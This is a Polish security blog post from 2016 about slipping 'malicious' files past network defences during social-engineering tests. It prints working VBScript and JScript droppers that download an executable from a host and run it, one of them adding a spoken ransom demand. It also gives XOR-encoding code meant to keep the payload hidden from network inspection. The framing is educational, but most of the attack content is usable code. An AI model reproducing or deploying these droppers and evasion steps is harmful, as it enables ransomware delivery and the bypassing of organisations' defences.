czwartek, 24 marca 2016

Omijanie sieciowych systemów bezpieczeństwa

Jednym z scenariuszy przy realizacji testów socjotechnicznych jest nakłonienie użytkownika do uruchomienia pliku zawierającego „złośliwe oprogramowanie”. 

Przygotowując i dostarczając taki plik musimy być pewni, że dotrze on do użytkownika (nie zostanie wykryty i zablokowany przez systemy bezpieczeństwa). Przy okazji należy pamiętać, że oprócz weryfikacji zachowania pracownika ważne jest również sprawdzenie stosowanych zabezpieczeń przez organizację. Dlatego też powinno się przeprowadzić różne próby dostarczenia „złośliwych plików” do użytkownika. Poniżej opiszemy kilka przykładów z użyciem języków Visual Basic Script oraz JavaScript. 

Opisywane przykłady mogą być wykorzystywane wyłącznie w celach edukacyjnych.

Zacznijmy od rzeczywistych ataków i metod obecnie wykorzystywanych przez przestępców. Idealnie do tego celu nadaje się przykład ataku obecnie przeprowadzanego na użytkowników w Polsce (ale nie tylko). Poniżej fragment pliku invoice_copy.js (javascript) przesłanego w pliku ZIP [1]. Skrypt po uruchomieniu pobiera i uruchamia jedną z wersji cryptolocker-a. 


Kolejne fragment – tym razem próbka z dnia wczorajszego [2].


Powyższa zawartość jest obfuskowana ale po deobfuskacji kod odpowiedzialny za pobieranie i uruchomienie pliku exe jest zbliżony do tego przedstawionego poniżej. Ten kod VBS można również umieszczać jako makra.

strFileURL = "http://10.255.0.100/prevenity.exe"
strHDLocation = "prevenity.exe"
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
  set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody
  objADOStream.Position = 0
  objADOStream.SaveToFile strHDLocation
  objADOStream.Close
End if

CreateObject("WScript.Shell").Run "prevenity.exe"


I wersja javascript uzupełniona o moduł Microsoft Speech, która poinformuje użytkownika o zaszyfrowanych plikach ale również numerze konta w banku.

var strFileURL = "http://10.255.0.100/prevenity.exe";
var strHDLocation = "prevenity.exe";
var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.open("GET", strFileURL, false);
objXMLHTTP.send();
var stat = 200

if (objXMLHTTP.status == 200)
  {
   var objADOStream = new ActiveXObject("ADODB.Stream");
   objADOStream.Open();
   objADOStream.Type = 1;
   objADOStream.Write(objXMLHTTP.ResponseBody);
   objADOStream.Position = 0;
   objADOStream.SaveToFile(strHDLocation)
   objADOStream.Close();
  }

new ActiveXObject("WScript.Shell").Run("prevenity.exe");
new ActiveXObject("SAPI.SPVoice").Speak("Your documents have been encrypted. Please transfer 1000$ to account number 1 1 1 1 1 1 1 1 1 1. Reference number is 666.");


Jak możemy zauważyć plik pobierany jest za pomocą protokołu http co powoduje, że może być wykryty przez sieciowe systemy bezpieczeństwa. Możemy zastosować protokół https ale obecnie wiele organizacji stosuje narzędzia do deszyfracji ruchu. Dlatego lepszym rozwiązaniem wydaje się zaimplementowanie prostego mechanizmu kodującego plik.
Najprostsza metoda to zastosowanie XOR. Poniżej fragment kodu VBS który przed uruchomieniem odkoduje plik wykonywalny kluczem 0xC.

Do Until objStreamIn.AtEndOfStream
   objFileOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor "12" )
   Loop


Dodatkowo plik znajdujący się na serwerze możemy zakodować w base64 po zastosowaniu funkcji XOR lub funkcji szyfrującej.
Niestety ta metoda nie zadziała w wersji javascript. Musimy zastosować tablicę do zapisu poszczególnych bajtów. Dopiero wtedy możemy je dowolnie kodować lub szyfrować. Poniżej przykład funkcji przygotowującej plik do umieszczenia na serwerze www:

var objFSO = new ActiveXObject("Scripting.FileSystemObject");
var objFileIn = objFSO.GetFile("prevenity.exe");
var objFileOut = objFSO.CreateTextFile("plik_docelowy", true, false);
var objStreamIn = objFileIn.OpenAsTextStream(1,0);

var byteArray = [];

while (!objStreamIn.AtEndOfStream) {
var z = objStreamIn.Read(1);
byteArray.push(z.charCodeAt(0) ^ 12);
  }
objFileOut.Write(byteArray);

objFileOut.Close();


Fragment zakodowanego pliku exe, który nie będzie wykrywany przez sieciowe systemy bezpieczeństwa.


Pliku dekodującego nie umieszczamy w tym artykule.

MD5 skryptów js.

[1] E836FCC007C873758B1CCF4C0D6732E0
[2] 36E20991158A4A15AEFEEB64F50CE7E3

Brak komentarzy:

Publikowanie komentarza